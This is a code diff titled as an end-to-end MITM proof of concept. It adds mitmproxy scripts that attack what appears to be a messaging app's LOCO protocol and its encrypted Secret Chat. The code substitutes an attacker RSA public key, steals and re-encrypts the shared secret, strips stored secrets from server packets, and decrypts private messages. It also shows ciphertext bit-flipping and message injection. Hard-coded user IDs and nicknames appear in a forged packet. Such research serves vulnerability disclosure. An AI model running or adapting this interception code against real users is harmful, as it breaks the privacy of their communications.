Implement E2E MITM PoC

scripts/mitmproxy/lib/crypto_utils.py

@@ -1,15 +1,150 @@
-from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+import math
 
-_KEY = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+from cryptography.hazmat.primitives import hashes, hmac, serialization
+from cryptography.hazmat.primitives.asymmetric import padding, rsa
+from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
+
+# Key used by Frida script to patch AES encryption key
+_AES_KEY = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 
 
 def aes_encrypt(plaintext, iv):
-    cipher = Cipher(algorithms.AES(_KEY), modes.CFB(iv))
+    cipher = Cipher(algorithms.AES(_AES_KEY), modes.CFB(iv))
     encryptor = cipher.encryptor()
+
     return encryptor.update(plaintext) + encryptor.finalize()
 
 
 def aes_decrypt(ciphertext, iv):
-    cipher = Cipher(algorithms.AES(_KEY), modes.CFB(iv))
+    cipher = Cipher(algorithms.AES(_AES_KEY), modes.CFB(iv))
     decryptor = cipher.decryptor()
+
     return decryptor.update(ciphertext) + decryptor.finalize()
+
+
+def aes_e2e_decrypt(ciphertext, key, nonce):
+    cipher = Cipher(algorithms.AES(key), modes.CTR(nonce))
+    decryptor = cipher.decryptor()
+
+    return decryptor.update(ciphertext) + decryptor.finalize()
+
+
+def get_rsa_key_pair():
+    return rsa.generate_private_key(public_exponent=65537, key_size=2048)
+
+
+def get_rsa_public_key_pem(key_pair):
+    return key_pair.public_key().public_bytes(
+        encoding=serialization.Encoding.PEM,
+        format=serialization.PublicFormat.SubjectPublicKeyInfo,
+    )
+
+
+def rsa_encrypt(plaintext: bytes, public_key_pem: str, add_header_footer: bool = False):
+    if add_header_footer:
+        header = "-----BEGIN RSA PUBLIC KEY-----\n"
+        footer = "\n-----END RSA PUBLIC KEY-----\n"
+        public_key_pem = header + public_key_pem + footer
+    public_key = serialization.load_pem_public_key(public_key_pem.encode())
+    ciphertext = public_key.encrypt(
+        plaintext,
+        padding.OAEP(
+            mgf=padding.MGF1(algorithm=hashes.SHA1()),
+            algorithm=hashes.SHA1(),
+            label=None,
+        ),
+    )
+
+    return ciphertext
+
+
+def rsa_decrypt(ciphertext: bytes, key_pair) -> bytes:
+    plaintext = key_pair.decrypt(
+        ciphertext,
+        padding.OAEP(
+            mgf=padding.MGF1(algorithm=hashes.SHA1()),
+            algorithm=hashes.SHA1(),
+            label=None,
+        ),
+    )
+
+    return plaintext
+
+
+def compute_key(shared_secret: bytes, salt: bytes, length):
+    kdf = PBKDF2HMAC(algorithm=hashes.SHA1(), length=length, salt=salt, iterations=2048)
+    key = kdf.derive(shared_secret)
+    return key
+
+
+def compute_hmac(key, message):
+    h = hmac.HMAC(key, hashes.SHA256())
+    h.update(message)
+    return h.finalize()
+
+
+def byte_juggling_1(i, i2, b_arr):
+    z = i <= i2
+
+    if z:
+        length = len(b_arr)
+        if 0 <= i <= length:
+            i3 = i2 - i
+            i4 = length - i
+            if i3 <= i4:
+                i4 = i3
+            b_arr_2 = bytearray(i3)
+            b_arr_2[:i4] = b_arr[i : i + i4]
+
+            return b_arr_2
+
+    return None
+
+
+def byte_juggling_2(b_arr, b_arr2):
+    length = len(b_arr2)
+
+    for b_arr3 in b_arr:
+        length += len(b_arr3)
+
+    b_arr4 = bytearray(length)
+    length2 = len(b_arr2)
+    b_arr4[:length2] = b_arr2
+
+    for b_arr5 in b_arr:
+        b_arr4[length2 : length2 + len(b_arr5)] = b_arr5
+        length2 += len(b_arr5)
+
+    return b_arr4
+
+
+def compute_nonce(shared_secret: bytes, message_id):
+    message_id_bytes = message_id.to_bytes(8, "little")
+    salt_1 = b"53656372657443686174526f6f6d4b6579"  # SecretChatRoomKey
+    salt_2 = b"4d6573736167654e6f6e6365486d6163"  # MessageNonceHmac
+    key = compute_key(shared_secret, salt_1, 64)
+    nonce_input = salt_2 + message_id_bytes
+    length = len(key) - 32
+
+    if length <= 0:
+        length = 0
+
+    mac_key = byte_juggling_1(length, len(key), key)
+    new_mac_key = compute_hmac(mac_key, shared_secret)
+
+    b_arr_2 = b""
+    b_arr_3 = b""
+
+    ceil = int(math.floor(40 / 32))
+
+    for i4 in range(ceil):
+        hex_i4 = format(i4 + 1, "x").zfill(2)
+        hex_bytes = bytes.fromhex(hex_i4)
+        mac_msg = byte_juggling_2([nonce_input, hex_bytes], b_arr_3)
+        b_arr_3 = compute_hmac(new_mac_key, mac_msg)
+        b_arr_2 = byte_juggling_2([b_arr_3], b_arr_2)
+
+    nonce = byte_juggling_1(0, 40, b_arr_2)
+
+    return nonce[:8] + (8 * b"\x00")

scripts/mitmproxy/lib/loco_parser.py

@@ -1,5 +1,14 @@
-import bson, logging, struct, io
+import base64
-from .crypto_utils import aes_encrypt, aes_decrypt
+import io
+import logging
+import re
+import struct
+
+import bson
+
+from .crypto_utils import (aes_decrypt, aes_e2e_decrypt, aes_encrypt,
+                           compute_key, compute_nonce, get_rsa_public_key_pem,
+                           rsa_decrypt, rsa_encrypt)
 
 
 class LocoPacket:
@@ -19,7 +28,6 @@ class LocoPacket:
         self.body_length = body_length
         self.body_payload = body_payload
 
-    # TODO: Add exception handling
     def get_packet_bytes(self) -> bytes:
         try:
             f = io.BytesIO()
@@ -31,18 +39,28 @@ class LocoPacket:
             f.write(struct.pack("<i", self.body_length))
             f.write(self.body_payload)
             return f.getvalue()
-        except Exception as e:
+        except Exception as general_exception:
-            logging.error(f"Could not create LOCO packet: {e}")
+            logging.error("Could not create LOCO packet: %s", general_exception)
             return None
 
     def get_packet_as_dict(self) -> dict:
         loco_dict = vars(self)
 
         try:
-            if loco_dict["body_payload"]:
+            if loco_dict["body_payload"] and isinstance(
+                loco_dict["body_payload"], bytes
+            ):
                 loco_dict["body_payload"] = bson.loads(self.body_payload)
-        except:
+            elif loco_dict["body_payload"] and isinstance(
-            logging.error("Could not decode BSON body.")
+                loco_dict["body_payload"], dict
+            ):
+                loco_dict["body_payload"] = self.body_payload
+        except Exception as general_exception:
+            logging.error(
+                "Could not decode BSON body of packet %s: %s",
+                self.loco_command,
+                general_exception,
+            )
 
         return loco_dict
 
@@ -53,20 +71,19 @@ class LocoEncryptedPacket:
         self.iv = iv
         self.payload = payload
 
-    # TODO: Add exception handling
+    def create_new_packet(self, loco_packet: LocoPacket) -> bytes:
-    def get_packet_bytes(self, loco_packet: LocoPacket) -> bytes:
         # new_iv = os.urandom(16)
 
         if not loco_packet:
             logging.error(
-                f"Could not create LOCO encrypted packet: Loco packet data is None."
+                "Could not create LOCO encrypted packet: Loco packet data is None."
             )
             return None
 
-        encrypted_packet = aes_encrypt(loco_packet, self.iv)
+        encrypted_packet = aes_encrypt(loco_packet.get_packet_bytes(), self.iv)
 
         if not encrypted_packet:
-            logging.error(f"Could not encrypt LOCO packet.")
+            logging.error("Could not encrypt LOCO packet.")
             return None
 
         try:
@@ -75,8 +92,24 @@ class LocoEncryptedPacket:
             f.write(self.iv)
             f.write(encrypted_packet)
             return f.getvalue()
-        except Exception as e:
+        except Exception as general_exception:
-            logging.error(f"Could not create LOCO encrypted packet: {e}")
+            logging.error(
+                "Could not create LOCO encrypted packet: %s", general_exception
+            )
+            return None
+
+    def get_packet_bytes(self) -> bytes:
+        try:
+            f = io.BytesIO()
+            f.write(struct.pack("<I", len(self.payload) + len(self.iv)))
+            f.write(self.iv)
+            f.write(self.payload)
+            return f.getvalue()
+        except Exception as general_exception:
+            logging.error(
+                "Could not convert LOCO encrypted packet to bytes: %s",
+                general_exception,
+            )
             return None
 
 
@@ -97,12 +130,9 @@ class LocoParser:
         self.loco_encrypted_packet = LocoEncryptedPacket()
         self.handshake_packet = LocoHandshakePacket()
 
-    # TODO: Add exception handling
     def parse_loco_packet(self, data):
         if not data:
-            logging.error(
+            logging.error("Could not parse LOCO encrypted packet: Packet data is None.")
-                f"Could not parse LOCO encrypted packet: Packet data is None."
-            )
             return None
 
         try:
@@ -115,16 +145,16 @@ class LocoParser:
             return LocoPacket(
                 id, status_code, loco_command, body_type, body_length, body_payload
             )
-        except Exception as e:
+        except Exception as general_exception:
-            logging.error(f"Could not parse LOCO packet: {e}")
+            logging.error(
+                "Could not parse LOCO packet: %s \nAre you running Frida to patch the AES key?",
+                general_exception,
+            )
             return None
 
-    # TODO: Add exception handling
     def parse_loco_encrypted_packet(self, data):
         if not data:
-            logging.error(
+            logging.error("Could not parse LOCO encrypted packet: Packet data is None.")
-                f"Could not parse LOCO encrypted packet: Packet data is None."
-            )
             return None
 
         try:
@@ -132,16 +162,15 @@ class LocoParser:
             iv = data[4:20]
             payload = data[20:]
             return LocoEncryptedPacket(length, iv, payload)
-        except Exception as e:
+        except Exception as general_exception:
-            logging.error(f"Could not parse LOCO encrypted packet: {e}")
+            logging.error(
+                "Could not parse LOCO encrypted packet: %s", general_exception
+            )
             return None
 
-    # TODO: Add exception handling
     def parse_handshake_packet(self, data):
         if not data:
-            logging.error(
+            logging.error("Could not parse LOCO handshake packet: Packet data is None.")
-                f"Could not parse LOCO handshake packet: Packet data is None."
-            )
             return None
 
         try:
@@ -149,8 +178,10 @@ class LocoParser:
             block_cipher_mode = struct.unpack("<I", data[8:12])[0]
             payload = data[22:]
             return LocoHandshakePacket(type, block_cipher_mode, payload)
-        except Exception as e:
+        except Exception as general_exception:
-            logging.error(f"Could not parse LOCO handshake packet: {e}")
+            logging.error(
+                "Could not parse LOCO handshake packet: %s", general_exception
+            )
             return None
 
     def parse(self, data):
@@ -168,22 +199,302 @@ class LocoParser:
         if not self.loco_packet:
             return None
 
-        if not self.loco_packet.loco_command == "MSG":
+        if not self.loco_packet.loco_command in ["MSG", "LOGINLIST"]:
             return None
 
-        body_json = self.bson_decode(self.loco_packet.body_payload)
+        body_json = self.loco_packet.body_payload
 
         if (
             "chatLog" in body_json
             and body_json["chatLog"]["message"] == trigger_message
         ):
             body_json["chatLog"]["message"] = payload
-            self.loco_packet.body_payload = self.bson_encode(body_json)
+
-            self.loco_packet.body_length = len(self.loco_packet.body_payload)
+        if "chatDatas" in body_json and body_json["chatDatas"]:
-            return self.loco_encrypted_packet.get_packet_bytes(
+            if (
-                self.loco_packet.get_packet_bytes()
+                "l" in body_json["chatDatas"][0]
+                and "message" in body_json["chatDatas"][0]["l"]
+                and body_json["chatDatas"][0]["l"]["message"] == trigger_message
+            ):
+                body_json["chatDatas"][0]["l"]["message"] = payload
+
+        self.loco_packet.body_payload = self.bson_encode(body_json)
+        self.loco_packet.body_length = len(self.loco_packet.body_payload)
+        return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
+
+    def _xor(self, param1, param2):
+        return bytes((x ^ y) for (x, y) in zip(param1, param2))
+
+    def flip_bits(self):
+        if not self.loco_packet.loco_command == "MSG":
+            return None
+
+        if self.loco_packet.body_length != 221:
+            logging.error(f"I'm NOT here: {self.loco_packet.body_length}")
+            return None
+        else:
+            logging.error("I'm here!")
+
+        # Patch size
+        # body = bytearray(self.loco_packet.body_payload)
+        # body[128:129] = b"\x0F"
+        # self.loco_packet.body_payload = bytes(body)
+        # loco_encrypted = aes_encrypt(self.loco_packet.get_packet_bytes(), self.loco_encrypted_packet.iv)
+        loco_encrypted = self.loco_encrypted_packet.payload
+
+        ciphertext = bytearray(loco_encrypted)
+        p11 = b"AAAAAAAAAAAAAAAA"
+        c11 = ciphertext[0xA0 : 0xA0 + 0x10]
+        x = self._xor(c11, p11)
+        c11_new = self._xor(x, b"BBBBBBBB\x00\x05\x00\x11\x00\x00\x00\x00")
+        ciphertext[0xA0 : 0xA0 + 0x10] = c11_new
+        self.loco_encrypted_packet.payload = bytes(ciphertext)
+        return self.loco_encrypted_packet.get_packet_bytes()
+
+    def get_clean_public_key(self, key_pair) -> str:
+        mitm_public_key_pem = get_rsa_public_key_pem(key_pair).decode("utf-8")
+        header = "-----BEGIN PUBLIC KEY-----"
+        footer = "-----END PUBLIC KEY-----"
+        pattern = re.compile(
+            f"{header}|{footer}",
+            re.MULTILINE,
+        )
+        mitm_public_key_cleaned = pattern.sub("", mitm_public_key_pem).replace("\n", "")
+
+        return mitm_public_key_cleaned
+
+    def inject_public_key(self, key_pair):
+        if not self.loco_packet:
+            logging.error("LOCO packet data is None.")
+            return (None, None, None)
+
+        if isinstance(self.loco_packet.body_payload, bytes):
+            self.loco_packet.body_payload = self.bson_decode(
+                self.loco_packet.body_payload
             )
 
+        if not self.loco_packet.loco_command in {
+            "GETPK",
+            "GETLPK",
+            "SCREATE",
+            "CHATONROOM",
+        }:
+            return (None, None, None)
+
+        if not self.loco_packet.body_payload.get("pi"):
+            logging.error(
+                "LOCO packet %s doesn't contain dictionary key 'pi'.",
+                self.loco_packet.loco_command,
+            )
+            return (None, None, None)
+
+        mitm_public_key_cleaned = self.get_clean_public_key(key_pair)
+
+        logging.info("MITM public key: %s", mitm_public_key_cleaned)
+
+        original_public_key = self.loco_packet.body_payload["pi"][0]["ek"]
+        user_id = self.loco_packet.body_payload["pi"][0]["u"]
+        self.loco_packet.body_payload["pi"][0]["ek"] = mitm_public_key_cleaned
+
+        if not len(original_public_key) == len(mitm_public_key_cleaned):
+            logging.error("Original and MITM public key don't have the same length!")
+            return (None, None, None)
+
+        self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
+        self.loco_packet.body_length = len(self.loco_packet.body_payload)
+
+        return (
+            original_public_key.encode(),
+            user_id,
+            self.loco_encrypted_packet.create_new_packet(self.loco_packet),
+        )
+
+    def remove_stored_shared_secret(self, recipient_user_id):
+        if not self.loco_packet:
+            return None
+
+        if isinstance(self.loco_packet.body_payload, bytes):
+            logging.error("Could not parse LOCO packet body.")
+            return None
+
+        if self.loco_packet.loco_command not in {"SCREATE", "CHATONROOM"}:
+            return None
+
+        if (
+            self.loco_packet.loco_command == "SCREATE"
+            and self.loco_packet.body_payload.get("status") != 0
+        ):
+            logging.info("Replacing SCREATE body...")
+            screate_body = {
+                "status": 0,
+                "c": 9388354540351878,
+                "r": {
+                    "chatId": 9388354540351878,
+                    "members": [
+                        {
+                            "userId": 405368740,
+                            "accountId": 262855419,
+                            "nickName": "furztrocken",
+                            "countryIso": "DE",
+                            "profileImageUrl": "",
+                            "fullProfileImageUrl": "",
+                            "originalProfileImageUrl": "",
+                            "statusMessage": "",
+                            "linkedServices": "",
+                            "type": -999999,
+                            "suspended": False,
+                        },
+                        {
+                            "userId": recipient_user_id,
+                            "accountId": 256190398,
+                            "nickName": "peterplan",
+                            "countryIso": "DE",
+                            "profileImageUrl": "",
+                            "fullProfileImageUrl": "",
+                            "originalProfileImageUrl": "",
+                            "statusMessage": "",
+                            "linkedServices": "",
+                            "type": -999999,
+                            "suspended": False,
+                        },
+                    ],
+                    "activeMemberIds": [405368740, recipient_user_id],
+                    "watermarks": [3122424091315798016, 3122424091315798016],
+                    "lastMessage": None,
+                    "lastUpdatedAt": None,
+                    "lastLogId": 0,
+                    "newMessageCount": -1,
+                    "type": "SDirectChat",
+                    "pushAlert": None,
+                    "metaRevisions": None,
+                    "o": 1693159158,
+                    "pct": None,
+                },
+                "sc": 3122424099724080067,
+                "pi": [
+                    {
+                        "u": recipient_user_id,
+                        "ek": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyfkeppzP/qOIUXRqzHt+KjE/sz5tMCwf3Y7Xz+SoDU2kYVTjZS1NWtNMT4gFhiVVsX+uwdwEU0ijgg07zX9GM45HZJoj+Wrb58pNHBUqfksR/oXcX5jBASDh3Oks7Naw2FLdtFdqh1uISzYKA7Ubo0C8ep4N7PVYJdJvsa83nFYbfVi7WTCZJqixla4of+yVaj+XNq/+n8hew8pJEW2hx1szJjqfZSskTTUwASiWBTSdHktnv6y7N8Ls32buAfZu+Oqzw5DRJrWL8iLLx9hkM1T5dPTrc2RcabuG/YiamPaVN9P1iGz2HM9b0fUBFvH8e8REaujlOQVr3cyl/rezdQIDAQAB",
+                        "sk": "odgQ7ds/Pz9AlC7kNSVCLFHZAvRCMUVPzc3R3FZlqAI=",
+                        "pt": 3122418946040168677,
+                        "cs": "",
+                    }
+                ],
+                "nc": True,
+            }
+            self.loco_packet.body_payload = screate_body
+
+        """
+        if self.loco_packet.body_payload.get("pi"):
+            logging.info("Removing public key from %s packet.", self.loco_packet.loco_command)
+            self.loco_packet.body_payload.pop("pi")
+        """
+
+        if self.loco_packet.body_payload.get("si"):
+            logging.info(
+                "Removing stored shared secret from %s packet.",
+                self.loco_packet.loco_command,
+            )
+            self.loco_packet.body_payload.pop("si")
+
+        self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
+        self.loco_packet.body_length = len(self.loco_packet.body_payload)
+
+        return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
+
+    def get_e2e_encryption_key(self, shared_secret: bytes):
+        salt = b"53656372657443686174526f6f6d4b6579"
+        return compute_key(shared_secret, salt, 32)
+
+    def get_shared_secret(self, rsa_key_pair) -> bytes:
+        shared_secret = None
+
+        if not self.loco_packet:
+            return None
+
+        if isinstance(self.loco_packet.body_payload, bytes):
+            logging.error("Could not parse LOCO packet body.")
+            return None
+
+        if self.loco_packet.loco_command != "SETSK":
+            return None
+
+        if not self.loco_packet.body_payload.get("sk"):
+            logging.error("No shared secret in SETSK packet.")
+            return None
+
+        if len(self.loco_packet.body_payload.get("sk")) != 2:
+            logging.error("Only one encrypted shared secret in 'sk' list.")
+            return None
+
+        encrypted_shared_secret = base64.b64decode(
+            self.loco_packet.body_payload["sk"][0]
+        )
+
+        try:
+            shared_secret = rsa_decrypt(encrypted_shared_secret, rsa_key_pair)
+        except ValueError as value_error:
+            logging.exception(value_error)
+            return None
+
+        return base64.b64encode(shared_secret)
+
+    def encrypt_shared_secret(self, shared_secret: bytes, public_key: bytes):
+        if not self.loco_packet:
+            return None
+
+        if isinstance(self.loco_packet.body_payload, bytes):
+            logging.error("Could not parse LOCO packet body.")
+            return None
+
+        if self.loco_packet.loco_command != "SETSK":
+            return None
+
+        shared_secret = base64.b64encode(
+            rsa_encrypt(shared_secret, public_key.decode("utf-8"), True)
+        )
+        self.loco_packet.body_payload["sk"][0] = shared_secret
+
+        self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
+        self.loco_packet.body_length = len(self.loco_packet.body_payload)
+
+        return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
+
+    def get_decrypted_e2e_message(self, e2e_encryption_key, shared_secret):
+        if not self.loco_packet:
+            return None
+
+        if not self.loco_packet.loco_command in {"SWRITE", "MSG"}:
+            return None
+
+        if not self.loco_packet.body_payload:
+            return None
+
+        # Get sender's E2E message
+        if self.loco_packet.loco_command == "SWRITE" and isinstance(
+            self.loco_packet.body_payload.get("m"), (bytes, str)
+        ):
+            secret_message = base64.b64decode(self.loco_packet.body_payload["m"])
+            msg_id = self.loco_packet.body_payload["mid"]
+            # chat_id = self.loco_packet.body_payload["c"]
+
+        # Get receiver's E2E message
+        if (
+            self.loco_packet.loco_command == "MSG"
+            and self.loco_packet.body_payload.get("chatLog")
+        ):
+            secret_message = base64.b64decode(
+                self.loco_packet.body_payload["chatLog"]["message"]
+            )
+            msg_id = self.loco_packet.body_payload["chatLog"]["msgId"]
+            # chat_id = self.loco_packet.body_payload["chatId"]
+
+        nonce = compute_nonce(shared_secret, msg_id)
+
+        logging.info("Nonce: %s", base64.b64encode(nonce))
+
+        return aes_e2e_decrypt(secret_message, e2e_encryption_key, nonce)
+
     def bson_encode(self, data):
         return bson.dumps(data)
 

scripts/mitmproxy/loco_mitm.py

@@ -1,41 +1,201 @@
+import base64
 import logging
 
-from mitmproxy import connection
+from lib.crypto_utils import get_rsa_key_pair
-from mitmproxy import tcp
-from mitmproxy import tls
-from mitmproxy.utils import human
-from mitmproxy.utils import strutils
-
 from lib.loco_parser import LocoParser
+from mitmproxy import connection, tcp, tls
+from mitmproxy.utils import human, strutils
 
 
 class LocoMitm:
+    def __init__(self, rsa_key_pair, master_secret=None) -> None:
+        self.parser = LocoParser()
+        self.rsa_key_pair = rsa_key_pair
+        self.recipient_user_id = 0
+        self.recipient_public_key = b""
+        self.shared_secret = b""
+        self.master_secret = master_secret
+        self.e2e_encryption_key = None
+
     @staticmethod
     def get_addr(server: connection.Server):
         return server.peername or server.address
 
     def tls_clienthello(self, data: tls.ClientHelloData):
         server_address = self.get_addr(data.context.server)
-        logging.info(f"Skip TLS intercept for {human.format_address(server_address)}.")
+        logging.info("Skip TLS intercept for %s.", human.format_address(server_address))
         data.ignore_connection = True
 
+    def compute_e2e_encryption_key(self, shared_secret):
+        if not self.e2e_encryption_key:
+            logging.info(
+                "Computing E2E encryption key with shared secret: %s", shared_secret
+            )
+            self.e2e_encryption_key = self.parser.get_e2e_encryption_key(shared_secret)
+        else:
+            logging.info(
+                "E2E encryption key: %s", base64.b64encode(self.e2e_encryption_key)
+            )
+
     def tcp_message(self, flow: tcp.TCPFlow):
         message = flow.messages[-1]
-        parser = LocoParser()
+        self.parser.parse(message.content)
-        parser.parse(message.content)
+
-        tampered_packet = parser.inject_message("foo", "bar")
+        if self.parser.loco_packet:
+            logging.info(
+                "from_client=%s, content=%s",
+                message.from_client,
+                self.parser.loco_packet.get_packet_as_dict(),
+            )
+
+        # If there's already a shared secret stored on the server remove it from the LOCO packet
+        if (
+            not message.from_client
+            and self.parser.loco_packet
+            and self.parser.loco_packet.loco_command in {"SCREATE", "CHATONROOM"}
+        ):
+            if isinstance(self.parser.loco_packet.body_payload, bytes):
+                logging.error(
+                    "Dropping %s packet as we cannot decode the packet body.",
+                    self.parser.loco_packet.loco_command,
+                )
+                message.content = b""
+                return
+
+            tampered_packet = self.parser.remove_stored_shared_secret(
+                self.recipient_user_id
+            )
+            if tampered_packet:
+                message.content = tampered_packet
+
+        # Get recipient's public key and replace it with our MITM public key
+        if (
+            not self.master_secret
+            and self.parser.loco_packet
+            and not message.from_client
+            and self.parser.loco_packet.loco_command
+            in {"GETPK", "GETLPK", "SCREATE", "CHATONROOM"}
+        ):
+            logging.info("Trying to parse recipient's public key from LOCO packet...")
+            (
+                self.recipient_public_key,
+                self.recipient_user_id,
+                tampered_packet,
+            ) = self.parser.inject_public_key(self.rsa_key_pair)
+
+            if (
+                not self.recipient_public_key
+                or not self.recipient_user_id
+                or not tampered_packet
+            ):
+                logging.error(
+                    "Could not inject MITM public key into %s packet.",
+                    self.parser.loco_packet.loco_command,
+                )
+                return
 
-        if tampered_packet:
             message.content = tampered_packet
+            logging.info("Injecting MITM public key...")
+            # logging.info("Tampered packet: %s", self.parser.loco_packet.get_packet_as_dict())
 
-        if parser.loco_packet:
+        # Grab the shared secret which is used to compute the E2E encryption key
-            logging.info(
+        if (
-                f"from_client={message.from_client}, content={parser.loco_packet.get_packet_as_dict()}"
+            self.recipient_public_key
-            )
+            and not self.master_secret
-        else:
+            and self.parser.loco_packet
-            logging.info(
+            and message.from_client
-                f"from_client={message.from_client}), content={strutils.bytes_to_escaped_str(message.content)}]"
+            and self.parser.loco_packet.loco_command == "SETSK"
+        ):
+            logging.info("Trying to parse shared secret from LOCO packet...")
+
+            self.shared_secret = self.parser.get_shared_secret(self.rsa_key_pair)
+
+            if not self.shared_secret:
+                logging.error("Couldn't parse shared secret from LOCO packet.")
+                # TODO: remove
+                logging.info("Dropping SETSK packet...")
+                message.content = b""
+                return
+
+            logging.info("Shared secret: %s", self.shared_secret)
+
+            # Re-encrypt shared secret with the recipient's original public key
+            logging.info("Trying to re-encrypt shared secret...")
+
+            tampered_packet = self.parser.encrypt_shared_secret(
+                self.shared_secret, self.recipient_public_key
             )
 
+            if tampered_packet:
+                message.content = tampered_packet
+                logging.info(
+                    "Re-encrypted shared secret with recipient's original public key."
+                )
+                # TODO: remove
+                logging.info("Dropping SETSK packet...")
+                message.content = b""
 
-addons = [LocoMitm()]
+        # Compute E2E encryption key
+        if self.shared_secret:
+            self.compute_e2e_encryption_key(self.shared_secret)
+
+        if self.master_secret:
+            self.compute_e2e_encryption_key(self.master_secret)
+
+        # Decrypt Secret Chat end-to-end encrypted message
+        if (
+            self.e2e_encryption_key
+            and self.parser.loco_packet
+            and (
+                (
+                    message.from_client
+                    and self.parser.loco_packet.loco_command == "SWRITE"
+                )
+                or (
+                    not message.from_client
+                    and self.parser.loco_packet.loco_command == "MSG"
+                )
+            )
+        ):
+            logging.info("Trying to decrypt E2E message...")
+
+            if self.master_secret:
+                decrypted_e2e_message = self.parser.get_decrypted_e2e_message(
+                    self.e2e_encryption_key, self.master_secret
+                )
+            elif self.shared_secret:
+                decrypted_e2e_message = self.parser.get_decrypted_e2e_message(
+                    self.e2e_encryption_key, self.shared_secret
+                )
+
+            if decrypted_e2e_message:
+                logging.warning(
+                    "from_client=%s, content=%s",
+                    message.from_client,
+                    decrypted_e2e_message,
+                )
+
+        if not self.parser.loco_packet:
+            logging.warning(
+                "from_client=%s, raw packet bytes=%s",
+                message.from_client,
+                strutils.bytes_to_escaped_str(message.content),
+            )
+
+        # Inject a new message to show there are no integrity checks on the ciphertext
+        # tampered_packet = parser.inject_message("foo", "bar")
+
+        # if tampered_packet:
+        #     message.content = tampered_packet
+
+        # Flip bits of the ciphertext to show CFB malleability
+        # flipped_packet = parser.flip_bits()
+
+        # if flipped_packet:
+        #     message.content = flipped_packet
+
+
+# TODO: rename to 'test_secret'
+master_secret = b"AAAAAAAAAAAAAAAAAAAAAA=="
+
+addons = [LocoMitm(rsa_key_pair=get_rsa_key_pair())]